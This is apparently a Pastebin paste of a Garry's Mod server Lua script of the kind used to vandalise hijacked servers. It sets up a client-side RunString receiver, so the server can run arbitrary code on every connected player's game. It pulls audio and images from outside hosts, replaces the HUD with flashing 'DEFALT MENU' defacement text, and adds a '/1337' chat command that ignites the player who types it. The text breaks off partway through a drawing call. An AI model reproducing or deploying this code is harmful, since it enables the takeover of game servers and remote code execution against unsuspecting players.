daily pastebin goal
1%
SHARE
TWEET

Untitled

a guest Mar 22nd, 2019 83 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "slua" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Ce serveur a etait tuer par Defalt Menu!!" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.5, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  100.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "doritos", 183, 256 )
  104.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  105.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  106.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  107.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2019/12/5/1553294923-sans-titre-2.jpg", "defalt", 64, 110 )
  108.     ]=]):format(lol.m_strImageLoadHTML) )
  109. end )
  110.  
  111. --HUD swap
  112. lol:PushAction( 31, function( pPlayer )
  113.     lol:SendLua( pPlayer, [[
  114.         (GAMEMODE or GM).CalcView = function() end
  115.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  116.  
  117.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  118.         for k, v in pairs(remove) do
  119.             hook.GetTable()[v] = {}
  120.         end
  121.  
  122.         local function GetWebMat( strURL )
  123.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  124.         end
  125.  
  126.         hook.Add( "HUDPaint", "newhud", function()
  127.             surface.SetDrawColor( 255, 255, 255, 255 )
  128.  
  129.             if GetWebMat( "hud1" ) then
  130.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  131.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  132.             end
  133.             if GetWebMat( "hud2" ) then
  134.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  135.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  136.             end
  137.             if GetWebMat( "hud3" ) then
  138.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  139.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  140.             end
  141.             if GetWebMat( "xhair" ) then
  142.                 surface.SetMaterial( GetWebMat("xhair")[1] )
  143.                 surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  144.             end
  145.  
  146.             if GetWebMat( "doritos" ) then
  147.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  148.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  149.             end
  150.             if GetWebMat( "defalt" ) then
  151.                 surface.SetMaterial( GetWebMat("defalt")[1] )
  152.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  153.             end
  154.             if GetWebMat( "dew" ) then
  155.                 surface.SetMaterial( GetWebMat("dew")[1] )
  156.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  157.             end
  158.             if GetWebMat( "fedora" ) then
  159.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  160.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  161.             end
  162.             if GetWebMat( "awp" ) then
  163.                 surface.SetMaterial( GetWebMat("awp")[1] )
  164.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  165.             end
  166.  
  167.             draw.SimpleTextOutlined(
  168.                 "BAISER PAR DEFALT MENU",
  169.                 "DermaLarge",
  170.                 ScrW() /2 +math.random( -8, 8 ),
  171.                 ScrH() /2 +math.random( -8, 8 ) +100,
  172.                 Color( 4, 255, 0, 160 ),
  173.                 TEXT_ALIGN_CENTER,
  174.                 TEXT_ALIGN_CENTER,
  175.                 3,
  176.                 Color( 0, 0, 0, 255 )
  177.             )
  178.  
  179.             draw.SimpleTextOutlined(
  180.                 "BAISER PAR DEFALT MENU",
  181.                 "DermaLarge",
  182.                 ScrW() /2 +math.random( -8, 8 ),
  183.                 ScrH() /2 +math.random( -8, 8 ) +24,
  184.                 Color( 255, 147, 0, 160 ),
  185.                 TEXT_ALIGN_CENTER,
  186.                 TEXT_ALIGN_CENTER,
  187.                 3,
  188.                 Color( 0, 0, 0, 255 )
  189.             )
  190.  
  191.             draw.SimpleTextOutlined(
  192.                 "BAISER PAR DEFALT MENU",
  193.                 "DermaLarge",
  194.                 ScrW() /2 +math.random( -8, 8 ),
  195.                 ScrH() /2 +math.random( -8, 8 ) +64,
  196.                 Color( 247, 255, 0, 160 ),
  197.                 TEXT_ALIGN_CENTER,
  198.                 TEXT_ALIGN_CENTER,
  199.                 3,
  200.                 Color( 0, 0, 0, 255 )
  201.             )
  202.  
  203.             draw.SimpleTextOutlined(
  204.                 "BAISER PAR DEFALT MENU",
  205.                 "DermaLarge",
  206.                 ScrW() /2 +math.random( -8, 8 ),
  207.                 ScrH() /2 +math.random( -8, 8 ) +0,
  208.                 Color( 255, 0, 0, 160 ),
  209.                 TEXT_ALIGN_CENTER,
  210.                 TEXT_ALIGN_CENTER,
  211.                 3,
  212.                 Color( 0, 0, 0, 255 )
  213.             )
  214.  
  215.             draw.SimpleTextOutlined(
  216.                 "BAISER PAR DEFALT MENU",
  217.                 "DermaLarge",
  218.                 ScrW() /2 +math.random( -8, 8 ),
  219.                 ScrH() /2 +math.random( -8, 8 ) +130,
  220.                 Color( 0, 4, 255, 160 ),
  221.                 TEXT_ALIGN_CENTER,
  222.                 TEXT_ALIGN_CENTER,
  223.                 3,
  224.                 Color( 0, 0, 0, 255 )
  225.             )
  226.  
  227.             draw.SimpleTextOutlined(
  228.                 "BAISER PAR DEFALT MENU",
  229.                 "DermaLarge",
  230.                 ScrW() /2 +math.random( -8, 8 ),
  231.                 ScrH() /2 +math.random( -8, 8 ) +160,
  232.                 Color( 116, 0, 255, 160 ),
  233.                 TEXT_ALIGN_CENTER,
  234.                 TEXT_ALIGN_CENTER,
  235.                 3,
  236.                 Color( 0, 0, 0, 255 )
  237.             )
  238.  
  239.             draw.SimpleTextOutlined(
  240.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  241.                 "DermaLarge",
  242.                 ScrW() /2 +math.random( -8, 8 ),
  243.                 ScrH() /2 +math.random( -8, 8 ) -80,
  244.                 Color( 162, 61, 0, 160 ),
  245.                 TEXT_ALIGN_CENTER,
  246.                 TEXT_ALIGN_CENTER,
  247.                 3,
  248.                 Color( 0, 0, 0, 255 )
  249.             )
  250.  
  251.             draw.SimpleTextOutlined(
  252.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  253.                 "DermaLarge",
  254.                 ScrW() /2 +math.random( -8, 8 ),
  255.                 ScrH() /2 +math.random( -8, 8 ) +220,
  256.                 Color( 122, 122, 122, 160 ),
  257.                 TEXT_ALIGN_CENTER,
  258.                 TEXT_ALIGN_CENTER,
  259.                 3,
  260.                 Color( 0, 0, 0, 255 )
  261.             )
  262.  
  263.             draw.SimpleTextOutlined(
  264.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  265.                 "DermaLarge",
  266.                 ScrW() /2 +math.random( -8, 8 ),
  267.                 ScrH() /2 +math.random( -8, 8 ) +260,
  268.                 Color( 191, 255, 185, 160 ),
  269.                 TEXT_ALIGN_CENTER,
  270.                 TEXT_ALIGN_CENTER,
  271.                 3,
  272.                 Color( 0, 0, 0, 255 )
  273.             )
  274.  
  275.             draw.SimpleTextOutlined(
  276.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  277.                 "DermaLarge",
  278.                 ScrW() /2 +math.random( -8, 8 ),
  279.                 ScrH() /2 +math.random( -8, 8 ) +300,
  280.                 Color( 185, 242, 255, 160 ),
  281.                 TEXT_ALIGN_CENTER,
  282.                 TEXT_ALIGN_CENTER,
  283.                 3,
  284.                 Color( 0, 0, 0, 255 )
  285.             )
  286.  
  287.             draw.SimpleTextOutlined(
  288.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  289.                 "DermaLarge",
  290.                 ScrW() /2 +math.random( -8, 8 ),
  291.                 ScrH() /2 +math.random( -8, 8 ) +340,
  292.                 Color( 255, 65, 189, 160 ),
  293.                 TEXT_ALIGN_CENTER,
  294.                 TEXT_ALIGN_CENTER,
  295.                 3,
  296.                 Color( 0, 0, 0, 255 )
  297.             )
  298.  
  299.             draw.SimpleTextOutlined(
  300.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  301.                 "DermaLarge",
  302.                 ScrW() /2 +math.random( -8, 8 ),
  303.                 ScrH() /2 +math.random( -8, 8 ) +380,
  304.                 Color( 28, 107, 0, 160 ),
  305.                 TEXT_ALIGN_CENTER,
  306.                 TEXT_ALIGN_CENTER,
  307.                 3,
  308.                 Color( 0, 0, 0, 255 )
  309.             )
  310.  
  311.             draw.SimpleTextOutlined(
  312.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  313.                 "DermaLarge",
  314.                 ScrW() /2 +math.random( -8, 8 ),
  315.                 ScrH() /2 +math.random( -8, 8 ) +420,
  316.                 Color( 255, 0, 0, 160 ),
  317.                 TEXT_ALIGN_CENTER,
  318.                 TEXT_ALIGN_CENTER,
  319.                 3,
  320.                 Color( 0, 0, 0, 255 )
  321.             )
  322.  
  323.             draw.SimpleTextOutlined(
  324.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  325.                 "DermaLarge",
  326.                 ScrW() /2 +math.random( -8, 8 ),
  327.                 ScrH() /2 +math.random( -8, 8 ) +460,
  328.                 Color( 0, 255, 4, 160 ),
  329.                 TEXT_ALIGN_CENTER,
  330.                 TEXT_ALIGN_CENTER,
  331.                 3,
  332.                 Color( 0, 0, 0, 255 )
  333.             )
  334.  
  335.             draw.SimpleTextOutlined(
  336.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  337.                 "DermaLarge",
  338.                 ScrW() /2 +math.random( -8, 8 ),
  339.                 ScrH() /2 +math.random( -8, 8 ) +500,
  340.                 Color( 0, 224, 255, 160 ),
  341.                 TEXT_ALIGN_CENTER,
  342.                 TEXT_ALIGN_CENTER,
  343.                 3,
  344.                 Color( 0, 0, 0, 255 )
  345.             )
  346.  
  347.             draw.SimpleTextOutlined(
  348.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  349.                 "DermaLarge",
  350.                 ScrW() /2 +math.random( -8, 8 ),
  351.                 ScrH() /2 +math.random( -8, 8 ) +540,
  352.                 Color( 0, 255, 4, 160 ),
  353.                 TEXT_ALIGN_CENTER,
  354.                 TEXT_ALIGN_CENTER,
  355.                 3,
  356.                 Color( 0, 0, 0, 255 )
  357.             )
  358.  
  359.             draw.SimpleTextOutlined(
  360.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  361.                 "DermaLarge",
  362.                 ScrW() /2 +math.random( -8, 8 ),
  363.                 ScrH() /2 +math.random( -8, 8 ) -40,
  364.                 Color( 255, 255, 0, 160 ),
  365.                 TEXT_ALIGN_CENTER,
  366.                 TEXT_ALIGN_CENTER,
  367.                 3,
  368.                 Color( 0, 0, 0, 255 )
  369.             )
  370.  
  371.             draw.SimpleTextOutlined(
  372.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  373.                 "DermaLarge",
  374.                 ScrW() /2 +math.random( -8, 8 ),
  375.                 ScrH() /2 +math.random( -8, 8 ) -120,
  376.                 Color( 0, 93, 255, 160 ),
  377.                 TEXT_ALIGN_CENTER,
  378.                 TEXT_ALIGN_CENTER,
  379.                 3,
  380.                 Color( 0, 0, 0, 255 )
  381.             )
  382.  
  383.             draw.SimpleTextOutlined(
  384.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  385.                 "DermaLarge",
  386.                 ScrW() /2 +math.random( -8, 8 ),
  387.                 ScrH() /2 +math.random( -8, 8 ) -180,
  388.                 Color( 169, 107, 107, 160 ),
  389.                 TEXT_ALIGN_CENTER,
  390.                 TEXT_ALIGN_CENTER,
  391.                 3,
  392.                 Color( 0, 0, 0, 255 )
  393.             )
  394.  
  395.  
  396.             draw.SimpleTextOutlined(
  397.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  398.                 "DermaLarge",
  399.                 ScrW() /2 +math.random( -8, 8 ),
  400.                 ScrH() /2 +math.random( -8, 8 ) -220,
  401.                 Color( 0, 0, 0, 160 ),
  402.                 TEXT_ALIGN_CENTER,
  403.                 TEXT_ALIGN_CENTER,
  404.                 3,
  405.                 Color( 0, 0, 0, 255 )
  406.             )
  407.  
  408.             draw.SimpleTextOutlined(
  409.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  410.                 "DermaLarge",
  411.                 ScrW() /2 +math.random( -8, 8 ),
  412.                 ScrH() /2 +math.random( -8, 8 ) -260,
  413.                 Color( 255, 162, 0, 160 ),
  414.                 TEXT_ALIGN_CENTER,
  415.                 TEXT_ALIGN_CENTER,
  416.                 3,
  417.                 Color( 0, 0, 0, 255 )
  418.             )
  419.  
  420.             draw.SimpleTextOutlined(
  421.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  422.                 "DermaLarge",
  423.                 ScrW() /2 +math.random( -8, 8 ),
  424.                 ScrH() /2 +math.random( -8, 8 ) -300,
  425.                 Color( 255, 255, 255, 160 ),
  426.                 TEXT_ALIGN_CENTER,
  427.                 TEXT_ALIGN_CENTER,
  428.                 3,
  429.                 Color( 0, 0, 0, 255 )
  430.             )
  431.  
  432.             draw.SimpleTextOutlined(
  433.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  434.                 "DermaLarge",
  435.                 ScrW() /2 +math.random( -8, 8 ),
  436.                 ScrH() /2 +math.random( -8, 8 ) -340,
  437.                 Color( 32, 31, 86, 160 ),
  438.                 TEXT_ALIGN_CENTER,
  439.                 TEXT_ALIGN_CENTER,
  440.                 3,
  441.                 Color( 0, 0, 0, 255 )
  442.             )
  443.  
  444.             draw.SimpleTextOutlined(
  445.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  446.                 "DermaLarge",
  447.                 ScrW() /2 +math.random( -8, 8 ),
  448.                 ScrH() /2 +math.random( -8, 8 ) -380,
  449.                 Color( 185, 166, 7, 160 ),
  450.                 TEXT_ALIGN_CENTER,
  451.                 TEXT_ALIGN_CENTER,
  452.                 3,
  453.                 Color( 0, 0, 0, 255 )
  454.             )
  455.  
  456.             draw.SimpleTextOutlined(
  457.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  458.                 "DermaLarge",
  459.                 ScrW() /2 +math.random( -8, 8 ),
  460.                 ScrH() /2 +math.random( -8, 8 ) -420,
  461.                 Color( 0, 255, 4, 160 ),
  462.                 TEXT_ALIGN_CENTER,
  463.                 TEXT_ALIGN_CENTER,
  464.                 3,
  465.                 Color( 0, 0, 0, 255 )
  466.             )
  467.  
  468.             draw.SimpleTextOutlined(
  469.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  470.                 "DermaLarge",
  471.                 ScrW() /2 +math.random( -8, 8 ),
